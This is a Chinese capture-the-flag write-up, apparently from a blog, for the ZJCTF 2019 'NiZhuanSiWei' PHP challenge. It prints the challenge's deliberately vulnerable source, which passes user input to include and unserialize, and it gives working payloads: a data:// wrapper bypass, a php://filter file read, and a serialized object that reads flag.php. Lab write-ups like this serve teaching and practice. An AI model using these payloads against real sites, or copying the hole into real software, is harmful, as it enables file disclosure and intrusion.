[ZJCTF 2019]NiZhuanSiWei
文章目录
- [ZJCTF 2019]NiZhuanSiWei
- 掌握知识
- 解题思路
- 代码分析1
- 代码分析2
- 关键paylaod
掌握知识
data伪协议和php伪协议的使用,反序列化,代码审计,文件包含,file_get_contents函数绕过
解题思路
- 打开题目链接,发现是代码审计的题目,简单分析需要经过两个判断,执行文件包含函数,提示是要包含
useless.php文件,下面的反序列化的源代码应该就在useless.php文件中了
?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码分析1
- 分析第一个判断,
file_get_contents文件包含函数,可以使用php input伪协议和data伪协议绕过,这两个协议都可以随意执行函数或者返回字符串,所以只需要调用这两个伪协议,让其输出内容为后面的字符串即可判断成功,由于版本原因,data伪协议用的更多了,所以这里也用的data协议来返回字符串
/?text=data://text/plain,welcome to the zjctf
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
- 第二个判断是一个正则匹配,参数中没有
flag即可通过判断,执行文件包含操作。正好醉翁之意不在flag文件,在于useless.php文件,直接包含文件没显示内容,需要使用php伪协议进行base64编码读取文件才能回显
?file=php://filter/convert.base64-encode/resource=useless.php
if(preg_match("/flag/",$file)){
}
else{
include($file); //useless.php
}

代码分析2
- 将
base64解码即可得到useless.php文件的源码,查看了一下发现就是简单的反序列化利用,只需要给file赋值伪php协议读取flag.php文件,即可通过析构函数执行文件包含读取flag.php,拿下flag

- 构建php代码,输出序列化字符串
O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
- 所有
paylaod已经构建完成,经过测试发现file参数传参useless.php才能正常执行后面的反序列化,php伪协议读取不能正常执行,看来包含的文件还得的原样才行,由于类是在useless.php文件内,所以必须包含该文件。传入所有的参数,将base64解码之后,拿下flag


关键paylaod
/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}


![vue-img-cutter 实现图片裁剪[vue 组件库]](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fimages.zeroingpython.top%2F%2Fimg%2Fimage-20231006185757100.png&pos_id=img-FJebRN3O-1696590162195)





![[论文工具] LaTeX论文撰写常见用法及实战技巧归纳(持续更新)](https://img-blog.csdnimg.cn/08e6713aebdb455ab0aebb9171eaea1c.jpeg#pic_center)










